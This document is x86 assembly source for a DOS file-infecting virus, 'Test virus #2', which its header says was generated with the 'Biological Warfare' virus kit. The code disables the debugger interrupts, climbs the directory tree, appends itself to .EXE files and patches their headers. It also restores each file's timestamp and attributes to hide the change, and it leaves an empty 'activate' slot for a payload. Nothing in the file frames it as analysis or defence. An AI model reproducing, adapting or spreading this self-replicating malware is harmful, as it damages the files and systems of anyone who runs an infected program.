2022-08-21 09:07:57 +00:00
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; test2.asm : Test virus #2
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; Created with Biological Warfare - Version 0.90<EFBFBD> by MnemoniX
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PING equ 0A6CFh
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INFECT equ 2
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MARKER equ 08080h
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code segment
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org 100h
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assume cs:code,ds:code
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start:
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db 0E9h,3,0 ; to virus
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host:
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db 0CDh,20h,0 ; host program
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virus_begin:
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push ds es
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call $ + 3 ; BP is instruction ptr.
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pop bp
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sub bp,offset $ - 1
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xor ax,ax ; mild anti-trace code
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mov es,ax ; kill interrupts 1 & 3
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mov di,6
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stosw
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mov di,14
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stosw
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in al,21h ; lock out & reopen keyboard
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xor al,2
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out 21h,al
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xor al,2
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out 21h,al
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push cs
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pop ds
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lea dx,[bp + offset new_DTA]
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mov ah,1Ah
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int 21h
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mov byte ptr [bp + infections],0
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push [bp + exe_cs]
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push [bp + exe_ip]
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push [bp + exe_ss]
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push [bp + exe_sp]
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call traverse
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call activate
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pop [bp + exe_sp]
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pop [bp + exe_ss]
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pop [bp + exe_ip]
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pop [bp + exe_cs]
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pop es ds
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mov dx,80h
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mov ah,1Ah
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int 21h
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exe_exit:
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mov ax,ds ; fix up return address
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add ax,10h
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push ax
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add ax,cs:[bp + exe_cs]
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mov cs:[bp + return_cs],ax
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mov ax,cs:[bp + exe_ip]
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mov cs:[bp + return_ip],ax
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pop ax
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add ax,cs:[bp + exe_ss] ; restore stack
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cli
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mov ss,ax
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mov sp,cs:[bp + exe_sp]
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call fix_regs ; fix up registers
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sti
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db 0EAh ; back to host program
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return_ip dw 0
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return_cs dw 0
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exe_cs dw -16 ; orig CS:IP
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exe_ip dw 103h
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exe_sp dw -2 ; orig SS:SP
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exe_ss dw -16
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fix_regs:
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xor ax,ax
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cwd
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xor bx,bx
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mov si,100h
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xor di,di
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xor bp,bp
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ret
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traverse:
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sub sp,64 ; allocate stack space
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mov si,sp
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inc si
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mov ah,47h ; get current directory
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xor dl,dl
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push ds
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push ss
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pop ds
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int 21h
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pop ds
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dec si
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mov byte ptr ss:[si],'\' ; fix directory
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next_dir:
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call infect_dir
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cmp byte ptr [bp + infections],INFECT
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je traverse_done
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lea dx,[bp + outer] ; repeat in next dir up
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mov ah,3Bh
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int 21h
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jnc next_dir
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traverse_done:
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add sp,64 ; reset
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mov dx,si
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push ds
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push ss
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pop ds
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mov ah,3Bh
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int 21h
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pop ds
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ret
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infect_dir:
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mov ah,4Eh
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lea dx,[bp + find_me]
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int 21h
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jc infect_done
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next_file:
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lea dx,[bp + new_DTA + 1Eh]
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call execute
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cmp byte ptr [bp + infections],INFECT
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je infect_done
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mov ah,4Fh
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int 21h
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jnc next_file
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infect_done:
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ret
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execute:
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push si
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mov ax,4300h ; change attributes
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int 21h
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push cx dx ds
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xor cx,cx
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call set_attributes
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mov ax,3D02h ; open file
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int 21h
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jc cant_open
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xchg bx,ax
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mov ax,5700h ; save file date/time
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int 21h
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push cx dx
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mov ah,3Fh
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mov cx,28
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lea dx,[bp + read_buffer]
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int 21h
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cmp word ptr [bp + read_buffer],'ZM'
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je infect_exe ; yes, infect as .EXE
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jmp dont_infect
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fix_date_time:
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pop dx cx
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mov ax,5701h ; restore file date/time
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int 21h
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inc byte ptr [bp + infections]
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close:
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pop ds dx cx ; restore attributes
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call set_attributes
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mov ah,3Eh ; close file
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int 21h
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cant_open:
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pop si
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ret
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set_attributes:
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mov ax,4301h
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int 21h
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ret
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dont_infect:
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pop cx dx ; can't infect, skip
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jmp close
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infect_exe:
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cmp word ptr [bp + read_buffer + 26],0
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jne dont_infect ; overlay, don't infect
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cmp word ptr [bp + read_buffer + 16],MARKER
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je dont_infect ; infected already
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les ax,dword ptr [bp + read_buffer + 20]
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mov [bp + exe_cs],es
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mov [bp + exe_ip],ax
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les ax,dword ptr [bp + read_buffer + 14]
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mov [bp + exe_ss],ax
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mov [bp + exe_sp],es
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mov word ptr [bp + read_buffer + 16],MARKER
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mov ax,4202h ; to end of file
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cwd
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xor cx,cx
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int 21h
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push ax dx ; save file size
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push bx
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mov cl,12 ; calculate offsets for CS
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shl dx,cl ; and IP
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mov bx,ax
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mov cl,4
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shr bx,cl
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add dx,bx
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and ax,15
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pop bx
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sub dx,word ptr [bp + read_buffer + 8]
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mov word ptr [bp + read_buffer + 22],dx
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mov word ptr [bp + read_buffer + 20],ax
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add dx,100h
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mov word ptr [bp + read_buffer + 14],dx
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pop dx ax ; calculate prog size
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add ax,VIRUS_SIZE + 3
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adc dx,0
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mov cx,512 ; in pages
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div cx ; then save results
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inc ax
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mov word ptr [bp + read_buffer + 2],dx
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mov word ptr [bp + read_buffer + 4],ax
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mov ah,40h
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mov cx,VIRUS_SIZE + 3
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lea dx,[bp + virus_begin]
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int 21h
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mov ax,4200h ; back to beginning
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cwd
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xor cx,cx
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int 21h
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mov ah,40h ; and fix up header
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mov cx,28
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lea dx,[bp + read_buffer]
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int 21h
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jmp fix_date_time ; done
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activate:
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; Insert your routine here
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ret
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courtesy_of db '[BW]',0
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signature db 'Test virus #2',0
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get_extension:
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push ds ; find extension
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pop es
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mov di,dx
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mov cx,64
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mov al,'.'
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repnz scasb
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ret
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find_me db '*.EXE',0
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outer db '..',0
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infections db 0
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virus_end:
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VIRUS_SIZE equ virus_end - virus_begin
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read_buffer db 28 dup (?) ; read buffer
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new_DTA db 128 dup(?)
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end_heap:
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MEM_SIZE equ end_heap - start
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code ends
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end start
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